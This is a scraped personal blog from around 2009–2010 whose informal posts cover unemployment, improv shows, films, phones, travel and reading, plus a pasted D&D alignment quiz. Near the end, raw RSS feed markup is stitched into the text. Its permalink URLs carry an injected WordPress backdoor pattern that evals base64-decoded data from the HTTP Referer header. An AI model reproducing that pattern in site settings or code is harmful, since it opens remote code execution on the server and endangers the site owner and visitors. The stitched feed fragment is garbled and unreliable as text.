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fellow bikers, here is a short list of traffic laws you must abide by.

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probably because of gay marriage and abortions, god has decided to melt the midwest. yesterday was a record high. a time/temp marquee blinked 98° which is impressive given it was pure humidity.

i find all of this rather odd given that saturday morning gave us one hell of a thunderstorm, ruining some picnic plans i had with friends i haven’t seen in far too long. sadly, the picnic was pushed inside. but happily, that meant we could start drinking far earlier than would be socially acceptable.

as all parties do, ours ended up on youtube. please to enjoy.

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i don’t know who is endowing me to take two workshops at this years TCIF, but i will have to thank them somehow. i am open to ideas that don’t involve sexual favors and/or assassinations.*

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prince of persia is going to be released this friday. if it’s a success, here is my prediction of the first few big-budget video game to movie adaptations you will see:

1. mass effect
2. uncharted
3. gears of war
4. world of warcraft
5. assassins creed

however this is what i would rather the be:

1. nothing
2. nothing
3. nothing
4. nothing
5. nothing

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i still need a job

*i am secretly open to this option.

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i’m still unemployed. you may think me a slacker, but i apply to at least one job per day. sometimes it’s a resume and cover letter situation, both tailored and slaved over for hours on end depending, other times it’s a poorly copied job app. and of course most employers flee when they see you’ve been unemployed for a year. catch 22.

uphill battle does not even begin to describe my life.

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in an effort to write more, i am writing more. you are reading the result of that right now.

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TCIF is approaching. though i did not make it into the festival (i, meaning the Adventures of Tim, Troy, and Damian) i am still quite excited for it. mainly for the workshops that jill b has nailed down. expect reports and tweets.

i’m going to chicago.

bye.

unemployment item: STEREOTYPES!

so, i was on the radio a few days ago.

i had my alarm set to the radio, and as it happened they were talking about the economy when i woke up. i hopped to my feet and called in, and got on the radio saying i had been unemployed for a number of months. and that it was tough. much tougher than i thought it would be. and one thing i hoped that this recent economic trial would do would be to shatter the myths of the jobless: wake up at noon, have no drive, a tick on society’s understanding.

this is not a choice.

waking up at 8:00am everyday and looking for a job for 8 hours yields no accomplishment. it’s unrelentingly monotonous. it’s boring as shit.

saying you have the drive to get out of a situation is one thing, but when the chips are down… it’s a different matter.

it’s a tough situation the jobless are in and it’s a gross little predicament the economy has gotten itself into. no ones fault, and no ones to blame. but we’re all in this together. so don’t hate. regulate.

enjoy more at aricmckeown.com and mustahcerangers.com and also blankitcomics.com

and kids, remember to get Kel Mitchell to tell you about the Poopoo Waltz.

my roommate (the one i saw all the time) was awesome, and the other roommate was never around, but probably a cool guy. he had lived there the longest and had done some stuff. namely hooking up speakers from the living room stereo to play on our outside porch. however, we didn’t find this out until that day.

a church down the street had inspiringly decided to play Dr. King Jr’s famous “I  Have a Dream” speech on their external loudspeakers. however, my awesome roommate had taken that time to listen to my advice and finally watch “The Dark Knight.”

now, since the dvd player was hooked up to the stereo, every movie we watched was broadcast to the neighborhood. every game i played on wii. every cd we cleaned the house to. but, that day, it was The Dark Knight. specifically, the scene where the Joker convinces Harvey “Two Face” Dent place a gun to his head and flip a coin to decide whether he lives or dies.

arriving home, just outside the house, i was hearing a combination of-
“little white boys and little white girls playing with little black boys and little black girls” and
”become and agent of chaos… introduce a little anarchy…”

it was funny.

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i recently purchased a new Droid Eris to fill my phoning needs for the next two years.

in a word: bestgadgeteverconceived.

the Android OS, for those not in the know, is an operating system developed by Google Inc. to be an open source alternative for mobile phones that can be built specifically to run on any phone you wish. with the HTC Droid Eris, they’ve built an iPhone lite. not as powerful of hardware as the iPhone, (and i doubt anyone will ever do that), but things are a bit easier to navigate and personalize.

in addition to this, i’m a Google whore, so their Gmail, Calendar, Docs, Voice, etc. can be synced to the phone quite nicely. and given the fact that i use Google Calendar as an interim for my Thunderbird Calendar, being able to edit it from anywhere is really, REALLY helpful.

also, i just rigged the phone to remotely access and control all the media (movies, music, etc.) on my computer.

rock. solid.

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happy holidays!

unemployment item: TIME!
i have an ungodly amount of time on my hands. too much. many might react with “i’d love that! i’d get so many things done!” and it’s to them that i ask this question:

would you?

it’s human nature to relax. chill out. take it easy. we’ve built our culture around ease of comfort and accessibility. so, in a world where i can have things handed to me a digital platter, it’s very difficult to motive myself to better my situation.

no matter how much most people say they hate their routine, they need it. without it, i’d say (and this is just me and my opinion) only 5% of the population would be be able to get a sense of accomplishment out of a completely free schedule. whether i like it or not, any job i’ve had (whether i like that job or not) yields a sense of accomplishment. and for it, i’m forced to condense my personal activities into a few manageable items. thus a break from the 9 to 5-ness of it all.

now, take out the job and give me unlimited time and i have NO CLUE what to do with myself. so, i’ve been filling my days with a routine of sorts. the gym, language lessons, writing, gaming (not too much though), etc., etc., etc.

and all of this is in the middle job hunting. i’m unemployed, i’m not a bum.

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i’m very proud of this years halloween costume. yes, this is coming two months late, but oh well.

use it well.

case in point: a friend of mine bought a Nikon D90. the camera i want. the camera i need. the camera… that was meant to be mine. it’s a DSLR of a higher quality, however (much like the snapshot brethren below it) it carries a feature to take digital video along with the many still memories it captures. this is what i want.

the video quality is unmatched due to the lens that fits the camera. it’s really the only thing that makes buying the camera worthwhile. there are cheaper iterations below it that do the exact same thing, sans the video. so, why buy a camera that can do a million times what you need it to do?

that’s iLife.

i blame Apple for this. this ‘overpriced = the one you want” b.s. i do know people who have bought an Apple machine and used it to it’s fullest extent. and kudos to them. but, to the rest of you: why buy a ferarri to just run the corner market? what you want for email, music and pictures is going to cost about $200. and if you just spend an afternoon getting to know the machine and what it needs, then “just wanting it to work” won’t be a worry.

it’s technology. not an insurance plan.

is microsoft finally getting it?

probably not.

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i had recent computer misadventures with the folks at a small shop called General Nanosystems. long story short, they fried my motherboard. i’m writing from my newly updated laptop which is now my main computer. and i’m not sure why i didn’t do this before, as it’s about 5 times faster than my desktop.

a stern talk with the manager today and i’m getting a replacement motherboard for free. score and a half.

hopefully with addition of adobe’s creative suite 4 will make this the little laptop that could.

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this new blog writing software is the bee’s knees. seriously.

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i’m going to be globe-trotting in a minor sense over the next month. i get to be in London for Guy Fawkes Night. bonfires, carnivals, and more explosives than you can shake a stick at. expect stories and pictures.

on a globe-trotting note, i finally have access to the pictures i took when i went to the british isles for two months. expect a giant flickr album soon.

remember, remember the 5th of november.

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’9′ sucked.

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being unemployed, i have copious amounts of time on my hands. i try and channel it into productive activites (jogging, writing, job hunting… you get the picture). but, as one would expect, i have ample down time. in this, i have found that OnDemand is offering the first three seasons of the Showtime original series, Dexter, for the nice price of nothing.

first off, i’m not a tv watcher.i have a small handful of shows that i watch, but i usually catch them when they’re on; no planning around the set.

second off, i’ve seen the first season of Dexter, but that was about two years ago. but i figured i’d give it a rewatch before i caught up.

the dialogue is terrible.
the photography is forgettable.
the direction of the actors is abysmal.

so tell me then: WHY DO I STILL LIKE THIS SHOW?

Michael C. Hall is very talented, as Six Feet Under showed us, but the voice-over he gives throughout the episodes is embarrassingly bad. wincing stuff, sometimes. but i like his character and the fixes he gets into and out of.

every aspect of this show sucks, in my blunt opinion. yet, why am i hooked? it, most likely, is the simple concept of the show: a good serial killer; righting wrongs and defending the weak. but… still. if every aspect of the show is as bad as it is i would’ve normally dumped it by the wayside after the first episode or two.

whatever.

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last weekend i went over to fred’s place with the simple plan of hanging out. we ended up playing through ALL of Rock Band: The Beatles. beginning to The End. fred rocked paul’s bass licks. i was ringo.

i actually do have blisters on my fingers

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it’s that time of year again…

zombies!

damian, tim, and i will be remounting our form of Survivors of the Undead Plague with Creature Feature at the Brave New Workshop again this year. it’s a pleasure to be back.

i made this today. stay tuned to that as well as this for more info.

i also found this, which is totally amazing.

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9 came out today. in the hopes of saving on gas, i’m going to go see it tomorrow when i’m around and about uptown.

expect many thoughts and fanboying.

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seriously. i am so lucky sometimes.

we all know that’s bullshit.

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i’ve acknowledged my inner demons and have come to the conclusion that i am a facebook asshole.

at no point while i’m on facebook am i checking to see what your status is, what you’ve been up to, or what new picture album you’ve uploaded contains. it’s not that i don’t care about these things, it’s just that i a) have my own shit going on, and b) would much rather hear about them in person.

plus, i enjoy anonymity to a great degree. notice the status updates are a bit vague when compared to “heading here now for this” or “did this and here’s what i think about it.”

and this may sound like a falsity coming from someone who performs in front of people regularly. but, rest assured, it’s not.

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i went to this place called ‘Sea Salt’ near the falls a few weeks ago. it was totally overpriced, but had a really great atmosphere.

i recommend.

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i have a webcam now. here is proof.

confused by technology

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so, dig this: there is a hidden beach in Minneapolis called Hidden Beach. the perks of being out of the way are many, including, but not limited to

1. it’s hidden
2. the bottom is pure sand
3. lifeguards
4. easy parking

the best perk: A MUD PIT.

not some little bucket full of wet potting soil. this is a full on mud pit with dead animals at the bottom and everything.* and the best part is that it washes right out. you know, cause of the lake being right there and all.

amazing.

*probably no dead animals, but it is a full on mud pit.

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]]> http://rabidlime.net/2009/08/09/a-post-for-posts-sake/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 1 http://rabidlime.net/2009/07/23/dear-readers/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://rabidlime.net/2009/07/23/dear-readers/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 23 Jul 2009 05:39:54 +0000 troy http://rabidlime.net/?p=649

I Am A: True Neutral Human Druid/Sorcerer (2nd/2nd Level)

Ability Scores:
Strength-15
Dexterity-16
Constitution-14
Intelligence-17
Wisdom-11
Charisma-10

Alignment:
True Neutral A true neutral character does what seems to be a good idea. He doesn’t feel strongly one way or the other when it comes to good vs. evil or law vs. chaos. Most true neutral characters exhibit a lack of conviction or bias rather than a commitment to neutrality. Such a character thinks of good as better than evil after all, he would rather have good neighbors and rulers than evil ones. Still, he’s not personally committed to upholding good in any abstract or universal way. Some true neutral characters, on the other hand, commit themselves philosophically to neutrality. They see good, evil, law, and chaos as prejudices and dangerous extremes. They advocate the middle way of neutrality as the best, most balanced road in the long run. True neutral is the best alignment you can be because it means you act naturally, without prejudice or compulsion. However, true neutral can be a dangerous alignment because it represents apathy, indifference, and a lack of conviction.

Race:
Humans are the most adaptable of the common races. Short generations and a penchant for migration and conquest have made them physically diverse as well. Humans are often unorthodox in their dress, sporting unusual hairstyles, fanciful clothes, tattoos, and the like.

Primary Class:
Druids gain power not by ruling nature but by being at one with it. They hate the unnatural, including aberrations or undead, and destroy them where possible. Druids receive divine spells from nature, not the gods, and can gain an array of powers as they gain experience, including the ability to take the shapes of animals. The weapons and armor of a druid are restricted by their traditional oaths, not simply training. A druid’s Wisdom score should be high, as this determines the maximum spell level that they can cast.

Secondary Class:
Sorcerers are arcane spellcasters who manipulate magic energy with imagination and talent rather than studious discipline. They have no books, no mentors, no theories just raw power that they direct at will. Sorcerers know fewer spells than wizards do and acquire them more slowly, but they can cast individual spells more often and have no need to prepare their incantations ahead of time. Also unlike wizards, sorcerers cannot specialize in a school of magic. Since sorcerers gain their powers without undergoing the years of rigorous study that wizards go through, they have more time to learn fighting skills and are proficient with simple weapons. Charisma is very important for sorcerers; the higher their value in this ability, the higher the spell level they can cast.

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my buddy tyler is watching “An American Tale” off of youtube.com right now. i had no idea, as a small child, that this movie was full of so much social commentary. like, stuff they write about in grad programs.

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over the past two point five months, i’ve read more than i’ve ever read. on average, i finished a book every 12 days. i’m not sure if it was due to the relaxed nature of my traveling, or i’m going through some sort of literacy O.D. due to my not having money (my reason being that books are like paying for one movie, but that movie takes about two weeks to watch).

regardless, here are some picks:

• American Gods; Neil Gaiman
• Extremely Loud/Incredibly Close; Jonathan Saffron Foer
• More Information Than You Require; Jon Hodgman
• I Am Legend; Richard Matheson
• Company of Liars; Karen Maitland
• The Life of Pi; Yann Martel

i’m a novel reader. so keep that in mind.

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i really can’t get over how great of a city Glasgow is. in filling some in on my travels, i keep coming back to it.

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mean, median, and mode. remember it.

not finding yourself excited? watch this.

1. new ’9′ trailer!!! linky. (for an explination of why i’m excited, click here)
2. Stephen Fry has been announced to be playing the Cheshire Cat in Tim Burton’s new Alice in Wonderland adaptation. He is a god.

must run. till later.